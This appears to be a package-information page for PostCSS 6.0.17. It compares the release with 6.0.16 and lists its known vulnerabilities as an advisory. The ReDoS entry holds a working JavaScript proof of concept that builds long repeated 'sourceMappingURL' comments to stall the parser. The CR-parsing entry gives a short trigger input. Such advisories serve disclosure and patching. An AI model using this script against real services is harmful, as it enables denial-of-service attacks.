PostCSS version 6.0.17 represents a minor update over its predecessor, version 6.0.16, in this popular tool for transforming styles with JavaScript plugins. While both versions share identical core dependencies – relying on chalk for colorful console output, source-map for debugging assistance, and supports-color to detect terminal color capabilities – potential refinements, bug fixes, or performance improvements may differentiate the two. Developers should be aware that even seemingly small version bumps can introduce subtle compatibility nuances or address underlying issues. The key difference lies in the release date: version 6.0.17 was published on February 1, 2018, succeeding version 6.0.16, which arrived on January 6, 2018.
Given the identical dependency lists, the upgrade might primarily involve internal code enhancements, documentation updates, or resolutions to previously reported bugs that could impact specific use cases. Users encountering issues with version 6.0.16 may find upgrading to 6.0.17 beneficial. Developers integrating PostCSS into their projects should consult the official changelog and release notes (typically available in the project's repository) for detailed information on the specific changes implemented between these versions to ensure seamless compatibility. Always test thoroughly after upgrading to identify and address any potential regressions in your project's styling pipeline.
All the vulnerabilities related to the version 6.0.17 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.